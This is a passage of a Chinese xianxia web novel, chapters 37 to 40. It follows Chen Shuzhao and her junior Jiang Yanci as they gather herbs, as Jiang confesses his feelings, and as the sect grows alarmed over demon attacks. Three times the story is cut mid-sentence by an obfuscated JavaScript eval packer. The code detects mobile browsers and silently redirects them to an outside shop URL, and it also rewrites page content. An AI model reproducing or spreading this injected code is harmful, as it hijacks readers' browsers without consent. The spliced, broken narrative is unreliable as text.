夜间,等所有事情都办完了,两人去找了陈舒朝和江砚辞。 “多谢你们。”陆闻舟神情难掩疲惫,郑重地朝他们鞠了一躬。 若不是他们,还不知要等到什么时候。 “不必,记得你们的承诺就行。” “这是自然,你们想要什么?” “月华凝露草,两棵。” 一棵是她要用的,一棵给江砚辞交任务。 陆闻舟答应得很爽快:“这草五日后才开,那时采摘效果最佳。” 接收到陆闻枝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈舒朝内心轻哂他的幼稚,转而又想到曾经的自己也是这样的,她语气柔和下来,不是对他说,而是对多年前的自己道:“正道魔道不是嘴上喊的口号,有些人表面上光鲜亮丽,内地里指不定有多少污秽,但不可否认,他们的确保护了很多人,即便他们称不上是正道。” “所以有时候,其实没必要用正道魔道来区分人,这样两极化的区分方法,很难真的把人分出来,大多人都在中间。” 被囚禁这些年,她想明白了这些道理,但仍是恨的,恨到恨不得一解开封印就冲出去将他们杀了。 江砚辞有种预感,师姐说的这番话,与她为何被囚有关。 “……反正师姐不是魔。”他小声嘟囔一句。 陈舒朝听到后笑了:“幼稚。” “快看!”陆闻枝忽然惊喜道。 月上中天了。 月光温和地洒落下来,小草轻轻地摇,雾气凝在枝叶上,因重量往下滑,落地的瞬间,花开了。 草的尖端迅速长出花苞,花苞开放,是白色的花。 花不起眼,但成千上万朵连在一起,组成浩瀚的花海。 细看,单独一朵也是美的,小小的花有着五片花瓣,乖巧地立在上面。 陆闻舟及时摘下两朵给他们一人一支:“这里有很多,不再多要点么?” 江砚辞刚想替师姐多要一支,就听她道:“不了,一支就够了。” 是了,师姐的话,一支就够了,她不会失败。 陆闻枝捏捏衣袖,问他们:“你们什么时候走?” 陈舒朝平静地道:“一会儿就走。” 不光是陆闻舟陆闻枝,就连江砚辞也震惊地看着她。 “这么快!” 陈舒朝朝江砚辞眨眨眼:“我一会儿就走,他的话想再留两天也行,我最多只能在外面待一个月。” 她没有明说,江砚辞听懂了,她是魂体,不能在外面待太久。 陈舒朝把月华凝露草给他:“这个就先请你帮我收着了。” 观赏了一会儿月亮,几人离开,陆闻枝恋恋不舍,可也知道他们有急事,不能再拖了。 “姐姐,你还会再来么?” 陈舒朝:“不一定。” 很大可能不会来了。 陆闻枝听到这话,倒是笑了:“不管你是不是哄我的,我当真啦。” 陈舒朝无奈地摇摇头,没有过多解释。 回到房间,她的身体开始慢慢消散。 “师姐……”江砚辞忽然有些慌乱,着急忙慌地上前。 陈舒朝想摸摸他的头,却连手也开始消散,她笑笑:“记得装好月华凝露草,我走了。” 37. 喜欢 回到宗门,距离出发时是一个半月。 江砚辞在师姐走后第二日就离开了,丹药马上失效,再待下去会暴露。 走在半路,他就变回了原本的模样,并且,把原本师姐施加在他身上的易容术也去了。 包括那个耳坠,及腰间的铃铛。 他回到了宗门。 一个半月未见,江砚辞总觉得哪里有些不同了。 还未到午时,同门们大都在演武场练剑,一个个同他打招呼,丰文山看到他,将他拉至一边。 这个任务确实艰巨,他并没有责怪他回来晚了:“你没事吧?那个铃铛呢?” 江砚辞结下铃铛递给他,丰文山没有接:“这东西你拿着吧,记着,他响的时候,不要犹豫,跑!有多远跑多远!” 江砚辞点点头,她总是想起师姐对丰文山的评价——“丰文山挺蠢的,又胆小又蠢,就是个没有主见的废物。” 他信师姐真是这么想的,就是不知丰文山到底做了什么,才让师姐这么说他。 “你真的记住了么?”不想几十年前的悲剧再次上演,他几次确认。 “记住了,铃铛一响就要跑。” “很好,”他接着才像是刚反应过来,问他,“这次任务完成了?” “嗯,正要去兑换积分。”他晃晃手中玉简。 “不错,不愧是我宗的骄傲!”他抚掌大笑,忽地注意到他的耳坠,“你这耳饰……倒是别致,哪里来的?” 江砚辞摸摸耳坠:“这耳坠有什么问题么?” “没有,我记得你之前不戴这个。” “在集市上看到的,觉得好看就买了。” 丰文山也没有多想,问完话就走了。 * 陈舒朝回来后,在洞内躺不久就回杂役峰了。 杂役峰现在只有周雨泽在,大半个月终于见到一个活人,激动得呜呜呜哭。 “师妹,你终于回来了!” 陈舒朝止住他想要抱抱的动作:“一个月而已,激动什么。” 周雨泽瘪瘪嘴:“师尊不在,师姐不在,你也不在,你知道我这大半个月是怎么过来的么!” 陈舒朝直觉不对劲:“你剑又坏了?” “我、我是那种人么!我好想你啊师妹,我就是想你啊,不带其他任何目的!” 陈舒朝:“行了,说,要去哪?” 于是周雨泽一边“我怎么可能是那种人”一边说了目的地:“积分兑换处。” 果然如此。 她掏出剑:“上来吧!” “小师妹我爱你!” 掐诀,剑起。 一路飞去主峰,周雨泽看看脚下的剑:“这是你在剑冢选的剑?” “嗯。” “一看就有不凡之资!” 陈舒朝:“……” 要不是知道他平常能把黑的说成白的,她就真的信了。 不过这也提醒了她,这剑其他人认不出,但归一剑宗的人肯定能认出,万不能叫他们看见。 主峰很快到了,陈舒朝收起剑,陪着周雨泽去换积分。 还是正午,刚结束上午的练习,队排得挺长,刚排没多久,远远看到一个熟悉的身影。 周雨泽喊道:“大师兄!江师兄!” 是江砚辞,他听到喊声回头。 隔着老远,对方仔细辨认了一下他们是谁,明显看出犹豫了下,往他们这边走来了。 走进了,他颇有些纠结地看着他,然后道:“等会兑换完积分有空么,我有个问题想问。” 这是什么!这是天降幸运! 大佬居然来问他问题,天啊天啊! 他爽快应下,应完后想起他不是一个人,于是道:“等我们商量下。” 陈舒朝倒是大大方方:“不用商量,我同意了。” 她挺好奇他要问的问题的。 “那我就在那边等你们?” 他指的地方是一片绿荫,两人点头。 兑完积分已是三刻钟后,两人过去时,江砚辞正无所事事地薅着手边的草。 见两人来了,连忙将手收起,似是非常紧张。 “那个,”他没看他们,看向一边被她刚揪掉的草,“我有个问题想问。” 周雨泽点点头:“你问,我一定知无不言!” 他声音有点大,惊得江砚辞连忙四处看看,见已经有几人向这边看了,摸了摸耳坠,连忙道:“这个问题……有点私密,能去别的地方说么?” 周雨泽一听更来劲了:“可以,去哪里?” “去我的洞府。” 他余光看到有几人在向这边走,手里拿着各种各样的剑谱,心法等等。 他站上剑,刚起飞,感觉到身后无人,回头去看。 见那两人似乎是争执起来了,他疑惑地望过去。 陈舒朝暗道要遭,江砚辞见过她的剑,这时候再拿出来,十有八九会被看出来,还好她前两日准备了相似的剑。 但是周雨泽这个死脑筋的,非说这不是原本的剑,问她为什么不用原来的剑。 陈舒朝忍无可忍:“我的剑你管我怎么用,再说我就不带你了,你自己走回去。” 这才作罢,跟上江砚辞。 江砚辞:“这是?” 周雨泽嘿嘿一笑:“我的剑坏了,所以叫我师妹送我。” 原来如此,两个人就两个人吧。 江砚辞犹豫了下就欣然同意了,到了地方,他引两人进入他的洞府。 进入里面,有馥郁的书卷香,再一抬头看,满屋子的剑谱心法,以及一些舆地书方志。 周雨泽感叹,果真是有天赋的人还比他努力,人家不成功谁成功。 转念想,这么一个人,会问他什么问题呢?万一他答不上来岂不丢人?不对不对,连江砚辞都想不明白的问题,他答不上来不是很正常? 江砚辞带他们进了侧卧,三把椅子一张圆桌,落座后,给他们两个一人倒了一杯茶。 他有些拘谨:“如果,我是说如果,有一个人经常对你摸摸抱抱,她是什么意思?” 给周雨泽十个脑子他也想不到会是这种问题,高岭之花终于要开窍了么,不知道是谁有如此殊荣。 他肯定又简短道:“她喜欢你。” “……喜欢?”江砚辞想到这个可能就脸热,“不不不可能,不是喜欢,绝对不是。” “都摸摸抱抱了,怎么就不是喜欢了,而且你没有拒绝么?” 陈舒朝若有所思地抿了一口茶,微微一笑。 江砚辞:“没有……不过问题不是这个,我也确定她对我的不是喜欢。” 生怕有人抢他的台词,他语速飞快:“我想问的的是,为什么她这么对我……我会心跳加速,想要贴得更近,并且回想起来会不自觉浮上笑意,甚至——” “甚至?” “……会有一些奇怪的反应。” 周雨泽明白了,他大彻大悟,走过去拍拍他的肩膀,语重心长地道:“兄弟,你这是开窍了,你坠入爱河啦。” “坠入爱河?” “没错,你喜欢上对方了,你仔细回想一下,是不是对方和异性走得近一些,你也会不太高兴?” 江砚辞想到师姐和陆闻舟单独待在一起时,点点头:“确实会有,” 周雨泽拍拍他的肩膀,回到椅子上,颇有恋爱大师的样子:“这叫占有欲,很正常,你喜欢她,所以不想她和别人在一起。包括你说的奇怪的反应,对着喜欢的人嘛,情不自禁很正常。” 原来是喜欢吗? 他喜欢师姐? 可他对师姐一直都是景仰的,怎么可能是喜欢? 也太、太冒犯了。 “不过我觉得你遇人不淑,对方显然是吊着你,只摸摸抱抱没说其他的?” “不是,都是正常的摸摸抱抱,她对我……只是长辈对晚辈。” 江砚辞垂眸,不过片刻就接受了自己喜欢师姐的事实:“是我对她,有非分之想。” 这么说周雨泽就明白了:“都是修士了,年龄辈分不算什么,喜欢就勇敢上。” 他看他还是一副闷闷不乐的样子,咬牙掏出自己的杀手锏:“你看过话本么?” 江砚辞摇头。 “我猜你就没看过。”他从自己的储物袋中掏掏掏,掏出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885299|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几本小册,“给,看完了记得还我,不要被宗中长老发现。” 他回头又对陈舒朝道:“师妹你也别告诉师尊。” 陈舒朝点头应下。 单萧倒不会罚他,但是会把书借来自己看,这种书…… 她瞄一眼封面—— 《霸道师尊爱上我,夜夜笙歌》 《剑尊老祖成为我的裙下臣》 《姨夫今夜也没来么》 等等等等,全都是一些光看名字就让人脸红心跳的书。 师尊她老人家好奇心重,这种书被她看去保不齐要怎么看周雨泽,因此他宁愿书被没收,也不愿被单萧看到。 江砚辞也是受到了极大的震撼,他拿书的手都是颤抖的,瞳孔也是颤抖的,但是还真的,有点好奇。 他收了书,左看看右看看,在自己家里跟做贼似的。 “多谢道友,我收下了,看完还你。” “好说好说,你记着别告诉其他人就行了。” “我的事也请你保密。” 之后两人离开,陈舒朝御剑带他时,表情微妙:“这就是你整天藏着掖着的书?” “没错,你不许告诉师尊。” 陈舒朝对告密没兴趣:“放心。” 她绕了下路,给他剑修好,后半程让他自己御剑走。 远远就见到杂役峰炊烟袅袅,周雨泽高兴道:“师尊他们回来了!” 陈舒朝点头,加快了速度。 回到自己的小山峰,进到灶房里,就见师尊在忙活着,师姐就在一旁等着。 叶安然看到他们,甜甜一笑。 叶安然长得精致可爱,却是个修炼狂魔,连玉简都不会用,整日就是修炼修炼修炼。 在宗内举行擂台赛时,许多人会被她的外表迷惑,掉以轻心导致落败。 三人说了一会儿话,饭已经做好了。 师徒四人好好地聚了聚,直到夜幕降临,才各自收拾回屋。 陈舒朝回到屋内,确认之后不会再有人打扰,闭目回到惊雷峰。 又过不久,有人来了。 她回头去看,江砚辞站在洞口,正在往里走。 陈舒朝从榻上起身,接过他递来的月华凝露草:“我饿了。” 其实刚吃过饭,就是想尝尝他的做的饭了。 收回手,心不在焉地走去了厨房。 不知道在想些什么,陈舒朝看出来了,但没问,她知道孩子有自己的小秘密了。 给他一点时间,他会自己想明白的。 虽然是这么想的,但她总觉得坐立难安,引孩子误入歧途的人是她。 她正犹豫,灶房那边忽然传来声响,有什么东西落地。 “怎么了?”问出这一句,陈舒朝站起,往灶房那边靠近。 “没事,割到手了,一会儿就好,师姐你坐着吧。” 下午那会儿他看了周雨泽给他的书,第一次接触到这种领域,他一边看,一边惊叹,同时产生了浓厚的兴趣。 到了夜间,他正看到关键地方,忽地想起自己要给师姐送东西,只得恋恋不舍地将书放下,一路走来脑子里一直在想这事。 “我仔细想了想,”师姐没有坐回去,开口说,“我还是要给你说声抱歉。” 江砚辞没明白:“为什么?” “因为我没控制住情绪,对你做了这样那样的事情。” 江砚辞一个愣神,又割到了自己,他急忙停下,不顾自己流血的手,掀开帘子,走了出去。 就算是圣人也该有点脾气了。 江砚辞向她走去,一步步靠近:“师姐,你把我当什么了?” 他眼眶是红的。 虽对周雨泽说只是摸摸抱抱,对周雨泽说只是长辈对晚辈,都是他安慰自己的话。 哪有长辈这么对晚辈的。 她不说还好,她一说江砚辞就委屈了。 他逼近陈舒朝,俯视她。 陈舒朝这才意识到他的高大,不是少年,而是男人,男人的肩膀宽阔,投下的阴影将她整个笼罩在内。 她后退两步,视线放在他的鞋尖。 忽地,脸上一股热意。 38. 不抱 有滚烫的液体落在脸上,陈舒朝抬首,看到江砚辞的手悬在上方。 滚烫的液体,是他的血。 这一幕有点眼熟,在妖界时,她也曾将自己的血抹到了他身上。 这么一想还有点可惜,再也见不到毛茸茸的尾巴和耳朵了。 江砚辞微微俯下身,陈舒朝立即警惕地盯着他,就见他只是轻轻地、把自己毛茸茸的脑袋放在了她的肩膀上。 轻轻地蹭了蹭。 真像只毛茸茸的小动物。 “可以抱么?” 陈舒朝大大方方:“不行。” 江砚辞没说话,双手垂至身侧,微微蜷了蜷。 接着头顶就被人揉了揉。 江砚辞埋在她的脖颈,闷声道了句:“抱歉。” 陈舒朝拍拍他的头:“好了,原谅你了,做饭去吧。” 两刻钟后,饭做好了,吃完饭后,仍是江砚辞收拾碗筷。 哗啦啦的水声响起,江砚辞主动问:“师姐,下一个要取的草药在哪里?” “极上奇莲,在二长老花园最中心的位置,多年来只此一棵。怎么样,要同我去么?” 江砚辞毫不犹豫:“当然。” 之前他或许会犹豫,但知道了二长老那些花草是怎么来的后,就不会再犹豫了。 陈舒朝躺在榻上,舒服得直喟叹:“我们一个月后出发。” 自她被封印起,破碎的经脉深处就有一股力量在缓慢修复她的身体,这么长时间,原来凝出的神识只有元婴中期,再等一个月,大概就能突破到元婴大圆满了。 “为何是一个月?” “一个月后,我的分身就能到元婴大圆满了,那时再去,会更有把握些。” 江砚辞内心受到了震撼。 他已是众人眼中的天才,却还是会被师姐所惊艳。 对于师姐前无古人后无来者的天赋,藏书阁的卷宗早有记载,看书时,他总觉得是雾中花、海底月,不真切,如今真真实实地见到,却是连心脏也为之震动。 师姐的天赋,确实是无人能及,甚至让人忘记她现在的处境。 若不是被囚,她可能会是千万年来第一个飞升的。 “好,这一个月我也会好好修炼。” 至于突破元婴初阶进入元婴中阶,他再天才也不可能这么快。 “这里灵气约等于无,你这一个月就好好待在外面,少来找我。” 听到这话,江砚辞摸了摸耳坠,他从灶房走出,看到师姐躺在榻上有些无所事事的样子。 他想起那些话本:“师姐想看话本么?要不我给你带一些?” “不用。”都是她看剩下的东西了。 “那师姐有没有其他想要的?” 陈舒朝刚想说没有,忽见他腰间还别着那枚铃铛:“铃铛怎么还带着?” 江砚辞低头看看,把铃铛取下:“师叔说给我了,还强调铃铛响的时候一定要跑。” 这是检验魔气的,很久没见这么劣质的验魔器了,许多年不见魔族,连这种最基本的东西都没有了。 陈舒朝当着江砚辞的面放出魔气,去拨弄那枚铃铛。 “你猜这是干什么的?” 江砚辞摇摇头,他猜测道:“是感受危险气息的?” 陈舒朝摇头,嘴唇一张一合间,道出答案:“是检验魔气的。” 江砚辞一惊,没握紧铃铛,落地声却迟迟没有传来。 是师姐用魔气托住了,魔气半裹住铃铛,稳稳当当地再次放回他手中。 “这东西太劣质了,只能检测出低等的魔族,丰文山给也不给个好的。不过——” 她有些坏心地笑着:“我也能让它响,你想听么?” 根本不等他的回答,陈舒朝就放出了魔气,整个山洞瞬间充满魔气,让人感到窒息。 黑色的浓雾像无数只手,抚摸过江砚辞的身体,顺着他的肩膀、手臂流入铃铛。 “叮铃铃——!” 尖锐的铃铛声瞬间响彻整个山洞! 有一瞬间,江砚辞觉得自己听不到任何声音了,只能看到黑色雾气中师姐半靠在榻上,一手控制着魔气,一手托腮看他。 就像是高高在上的掌权者。 刚刚确认喜欢上师姐,他也挣扎过,一方面确实是超出自己的认知,唾弃自己怎么能喜欢上师姐; 一方面又明确地知道,师姐待他只是长辈对待晚辈那样,完全没有任何旖旎心思,他也为此伤感着。 后来又想,不管是什么,都要先争取,万一就成功了呢。 而且师姐的某些行为,有时候真的会让他迷离,她是否在某些时候,也心动过? 陈舒朝看他心不在焉的样子,用魔气将他拉过来:“你在想什么?” 两人对视,挨得极近。 又来了,淡淡的血腥味,总让他误以为她是不是受了伤。 他因为距离的拉进而心跳加速,可是抬头去看师姐的眼神,清澈得像看一个孩子。 “师姐想要铃铛么?” 陈舒朝挑眉:“好啊,一个月后我们见面,你给我送来。” “不过你想的不是这个吧。” 江砚辞:“师姐身上,为何会有血腥味?” “血腥味?” 她重复了一遍。 她自己的确没意识到,若说的话,可能是在战场上染上的,也可能是在惊雷峰下愈合伤口花了太长时间,满身的血早已洗不掉。 她笑容淡了些,只是说:“可能是伤还未好全吧。” 她不说江砚辞也能猜出个七七八八。 陈舒朝把满屋魔气收了,铃铛声停止,掉在了地上,滚到江砚辞脚边。 他俯身拾起,重新挂在腰边。 陈舒朝只刚才一瞬笑容淡了些,很快恢复如常:“这铃铛挺好看的,不过你给我买时也不必拘于这一种,你自己看着办。” “好。” 之后便是无话,江砚辞走到洞口,摆摆手:“那我走了?” “嗯,我这月要闭关,不要打扰我。” 江砚辞表示知道,转身离开了。 陈舒朝等了一会儿,直到他的身影消失不见,才回到了杂役峰。 已是后半夜,她阖眸睡去。 第二日晨起,峰上四人再次一起吃了早饭,接着就散场各回各家。 陈舒朝倒是对一件事比较好奇,她跟着单萧一直走打无人处,才悄悄问:“师尊,我问你个事。” 单萧侧身,她直觉没好事,但秉承着对徒弟的问题能答则答的原则,道:“你说。” “你的化妖丹应该有三颗才对吧。” 她用的肯定句,单萧顿住脚步,领陈舒朝走至偏僻无人处:“你如何知道的?” “我去了趟妖界,遇到了一个人——不,应该说是一只妖。” 向来大大咧咧的单萧,此刻 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“你还留着一枚化妖丹,是想着有一日能再见到他,还是单纯留个念想,亦或是两者都有?” “两者都有吧。” 陈舒朝跟着她望向旁边的扑簌簌落下的树叶:“我在妖界见到他了。” “嗯,我知道。” “他以为你生他气了,所以才一直不肯见他。” “怎么会——” 陈舒朝打断她的话:“你修为停滞是因为他吧。” 单萧没有反驳:“我从未怪过他。” 郎有情妾有意,双方都为对方着想,却正是因此错过。 “若有机会的话,去看看他吧,他一直在等你。” 单萧想说些什么,玉简在这时响起,急匆匆的像是催命。 她拿起看了一眼,脸色瞬间变了。 “抱歉有急事,下次再说。” 话毕她御剑走了。 什么事这么着急。 陈舒朝也没过多劝说,说到这个地步了,能不能成就看她自己了。 准备回到自己房间,刚走到门口,就看到她的师姐叶安然在偷偷摸摸地扒着她的窗户。 她悄悄地走到叶安然背后,忽地出声吓她一跳:“你在干什么?” 她果然被吓得一颤,回头看是她才松了一口气:“是你啊师妹。” “你在这儿干什么呢?” “我是来找你的,我们能进去说么?” “当然可以。”陈舒朝打开门,请她进去。 屋内,两人面对面坐,叶安然焦虑地喝了一口茶,吞吞吐吐:“师妹你,升金丹了?” “对,是我运气好。” 她这话刚一落,就听“砰”地一声,叶安然重重地把茶杯放在桌上:“不是运气,师妹。” 她站起,走到一旁,顺着她的放向跪下:“师妹,你教我吧!我愿为此付出一切!” 结结实实给陈舒朝吓了一跳,这是她刚才吓她的惩罚么? 她连忙把她扶起:“别别,我不会教人,而且这种事让师尊教比较好。” 叶安然不起来,陈舒朝从她脸上看出了她的意思:单萧是个不管事的,她巴不得让他们多休息几天,怎么可能会认认真真教他们。 陈舒朝无奈地叹了一口气:“教你也可以,但今日先休息吧,从明日开始。” 39. 提前 陈舒朝教过很多人,天赋好的、天赋不好的、天赋普通的……早就形成了自己的一套高效易懂的教学方法。 教了两日,叶安然就彻底黏上她了,甚至隐隐有叛逃师门转而拜入她门下的大逆不道想法。 周雨泽看得眼睛发亮,直嚷嚷着也要学。 陈舒朝默默对师尊道了个歉,尽心尽力地教他们。 三日了,师尊还没有回来,三人聚在一起吃饭讨论着这件事。 周雨泽:“到底是什么事这么久还没回来,不会出意外吧。” 话刚落另外两人就无语地盯着他,他也意识到自己这话不吉利,连忙“呸”掉:“呸呸,我说的这是什么话,师尊一定不会出事的!” 陈舒朝:“不过这也确实太久了,发玉简也不回。我看到她走的方向是主峰,要不我们去看看?” 叶安然举手:“我同意。” 他们这边刚要出发,那边就出现一个人影。 人影走近,是江砚辞。 他靠近周雨泽,动作极快地把什么东西交给了他,然后就要走。 周雨泽喊住他:“这么多你全都看完了么?” 他举举手里的书,醒目的标题直直撞如陈舒朝和叶安然的眼睛里。 陈舒朝倒是接受良好,对叶安然来说就不太友好了。 她直直地盯着那些标题,颤着声问:“那、那是什么意思?” 陈舒朝怜悯地告诉她:“就是你想的那个意思。” 叶安然整个脸红透了,想找个地缝钻进去。 江砚辞差不多也是这想法,不过他比较镇定:“嗯,全部看完了。” 光听他声音,根本想不到他已经紧张到冒汗了。 周雨泽大着胆子拍拍他的肩膀:“不要见外,这些书我多得是,还有很多,你要看么?” “不了,多谢。” 说完逃也似地离开了。 周雨泽挠挠头,回头看到叶安然,朝她比一个“嘘”的手势:“拜托了,不要告诉师尊。” 之前,这是他一个人的秘密,后来被小师妹知道,再后来,经过这几日的相处,他觉得大师姐也值得信任。 叶安然躲在陈舒朝的身后点点头,她觉得师弟好可怕,怎么会有、那种书。 几人就这么过了七八日,叶安然和周雨泽修为上没有精进多少,但是对心法的掌握比以往好了很多,原先十成的力,现在可以发挥出十四成。 第十日,单萧回来了,三人见到她,都立马停下自己的事,问她到底发生了什么。 单萧神情凝重:“进屋说。” 四人围在一张圆桌旁,单萧开口:“两个月前,叶安然出事,我去救她。” 大家点头,这是都知道的事。 “这次去主峰,六大长老便是为此事聚在一起。叶安然当时,受到的是魔族的袭击。” 几人都郑重了起来,魔族事关重大,在几十年前那件事过去后,就很少见到魔族了,只有最南边修真界与魔界的交界处可能会见到几只。 若是专门为了此事将长老们聚在一起十日,难道说…… “最近魔族出现得越来越频繁了,且有越来越多的城镇受到了魔族的袭击,他们猜测——” 单萧轻声道:“那些魔物是受到了那位的召唤。” 她没有说是哪位,但大家都知道。 无论是谁谈论到那个人都会下意识避讳,仿佛那人的阴影始终存在,不只是天资卓绝,更是封印她时所付出的巨大的代价,让所有人都无法忘记。 “大长老花了三天去边境看了情况,确认后他给掌门发了消息。” 陈舒朝眼睛朝向单萧,但目光却是放空的。 “昨天,我们收到了回信,他说会尽快出关,最快大概要三个月。” 单萧看看他的徒弟们,着重留意了陈舒朝:“所以你们最近就不要乱跑了,若不幸遇上魔族,不要恋战,能跑则跑。” 几人重重点头。 离开时,她让陈舒朝留下。 月影重重,屋内烛火晃动,单萧叹了一口气:“我知你来历不凡,你若想去做什么,就去做吧。” 陈舒朝侧了下身,对她抱拳:“多谢师尊。” 她正准备走,单萧又叫住她:“你还会回来么?” 月光下,她的笑容有些勉强。 “如果有机会的话。” 留下这一句,陈舒朝离开了。 待消失在单萧的视线中,她几乎瞬间就回了惊雷峰。 离开了这些时日,洞内的光都灭了,暗得伸手不见五指。 她没有点灯,而是躺在榻上,捞过一旁的狸奴玩偶抱在怀中,像是在等待什么。 这里没有黑夜白天,不知过了多久,有人来了。 那人很慌张,嗓音里有不明显的颤:“师姐、师姐?师姐你在么?” 陈舒朝没应声,那人更慌张了,声音带上隐隐的哭腔:“师姐,师姐你回答我一下!师姐!呜……” “噗。” 有光亮起了,江砚辞看到师姐坐在榻上,静静地望着他。 他忽地明白了:“师姐,你都知道了?” 他眼睛亮起来:“师姐你是不是有对策了?” 陈舒朝摇头。 江砚辞整个人焦急起来:“怎么办?掌门三个月后就要出关了,他出来的第一件事就是来杀你!” 他惴惴不安,脸颊忽地被摸了下。 抬头,师姐仍旧是平静的样子。 陈舒朝捏捏他的脸,摸摸他的头发,目光竟然有些温柔。 洞外的雷电轰轰隆,风从外面吹进来,黑暗的环境中,有什么东西在滋长。 最终,陈舒朝的手停在了她送给江砚辞的耳坠上。 有很轻的力道施加在耳坠上,江砚辞嗅到了一丝危险的味道。 陈舒朝站起来,靠近他的另一个耳边:“你会站在我这边对么?即便我最终会去往魔界,我会真的叛逃修真界。” “对。”江砚辞答得很快。 他有预感,若他犹豫一瞬,师姐可能真的会直接杀了他。 “师姐,我永远站在你这边。” 陈舒朝低头,头搁在他肩膀上:“你要记住,你已经站在了我这边。” 她手上用力了些,再用力一点,耳坠可能就直接被拽下来了。 江砚辞没动,他再次极其肯定地回答她:“我知道,我已经是师姐的人了。” 这话有点奇怪,陈舒朝没多想:“你若是背叛我,我会直接杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920923|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了你,毫不犹豫。” “我永远不会背叛师姐,我发誓。” 陈舒朝的手游走在他的耳朵上,再滑过他的眼睛。 “那你会让我为所欲为么?” 江砚辞握住她作乱的手:“师姐,你知道为何我如此坚定地站在你这边,又是为何敢发不会背叛你的誓么?” 陈舒朝预感不妙,想要抽回手,却怎么也抽不动。 “师姐。”江砚辞手臂青筋暴起,看起来像是在忍耐着什么,握她的力道却是轻柔的。 他露出个比哭还难看的笑容:“我喜欢你啊。” 陈舒朝倏地收手,跌坐在床上。 她的第一个想法是荒谬,怎么可能,她对他也说不上好吧,甚至处处威胁他,不顾男女大防对他这样那样。 尽管前段时间就知道了,她当时以为是她的错觉,可现在,他的眼里对她有着明晃晃的欲望。 他眼里波涛涌动,似要把她拆吃入腹。 陈舒朝魔气涌动,狠狠将她拷在墙上。她没收着力道,江砚辞的背部直接砸在墙上,钝钝的疼。 “江砚辞,听着,我只把你当孩子,我是你的长辈。” “我知道,但我有追求喜欢的人的权利,你不能阻止我。” 陈舒朝气笑了:“行,看你能不能追到。” 她的师弟一直乖乖的,怎么会突然变成这样,一定是因为周雨泽的话本,有机会的话,她一定要告诉师尊。 “我一定能追到。” 怪不得吃下化妖丹时是变成狼,他现在的眼神就和小狼崽似的。 “我等着,”陈舒朝重新靠在榻上,“既然要站在我这边,那就听我的,我总共要寻三味药,第二味是二长老沐秋雨后花园里仅有一朵的极上奇莲,明日就出发。” 江砚辞点头,想起什么,从储物袋中取出一物:“师姐,给,你要的铃铛。” 陈舒朝拿出,仔细端详了下,是一条脚链,戴在脚踝上一步一响,不过如她这般的修士,是可以控制住不发出声音的。 她戴上,站在榻上走了两步,叮铃铃的清脆声响在洞内响起。 陈舒朝站在江砚辞面前,俯视他:“不错,我喜欢。” “那,师姐?”他又拿出一物。 是一个香囊,陈舒朝拿起来闻了闻,是浓郁的栀子花香,戴在身上是浓淡刚好的香气。 她之前喜欢栀子花,所以见到了总会折两支带在身上,又因为宗内灵气充裕,不管是什么季节的花都久开不败,所以她身上一直都有两支栀子花。 久而久之就腌入味了,不带时也有淡淡的味道萦绕在身边。 江砚辞知道她喜欢:“师姐不好奇我是怎么知道的么?” “怎么知道的?”陈舒朝配合他。 “我做了一个梦,梦到的。” 那当然不是梦,两人没有戳破。 “那你这梦还挺神奇。” “是吧。”江砚辞笑嘻嘻。 聊了一会儿,陈舒朝算了下时辰:“早上了,我们该走了。” “好。” 陈舒朝凝出神识分身,跟着江砚辞出去了。 “三个月内,我们要将所有东西找齐。” 没时间让他们休息调整了。 40. 极上奇莲(一) 出去后,陈舒朝化为一束流光藏在了江砚辞肩头。 他有权力自由出入二长老的花园,这是二长老收到月华凝露草后一时高兴给他的许诺。 既然已经决定要和师姐站在一起,事发后他肯定也逃不了,没有隐藏的必要了。 魔族躁动的消息并没有通知到每个弟子,只有各位长老及少数亲传弟子知道,也因此无量宗表面一切如常。 有弟子在演武场练剑,有弟子在讲堂听课,还有弟子说着笑着从他身边路过。 表面平静,实则暗潮涌动。 有其他峰的亲传弟子看到江砚辞,一脸恐惧地说悄悄话:“大师兄,听说那位即将出世,是真的么?” 另一人说:“化神大圆满的掌门都闭关了这么长时间,那位该有多强啊!” “卷宗中说已经是大乘期修士了,真的假的?” 对于这些问题,江砚辞只一句话:“事情未有定论,不要过多讨论。” 他们有些遗憾不能听点内部消息,不过又重新振奋起来,拿出随身携带的笔记,要请教他。 通通被他以“有急事”的理由推脱了。 陈舒朝还有心情调侃他:“你还挺受欢迎的嘛。” 江砚辞微红了脸:“他们都是来请教问题的。” 在很久之前,也有来向他表白的,不过都被他无情推拒了,久而久之大家就都知道了,无量宗的大师兄是个不开花的,堪比修了无情道。 也就没人再来自讨无趣了。 到达二长老的花园时,二长老正好在入口那里,见到江砚辞高兴地挥挥手:“江师侄!” 有点奇怪,陈舒朝趴在江砚辞肩膀上,看沐秋雨在给什么人发消息,玉简叮叮叮地响。 江砚辞有意遮挡自己右半边的肩膀——其实陈舒朝隐了形,只要不去看,根本注意不到。 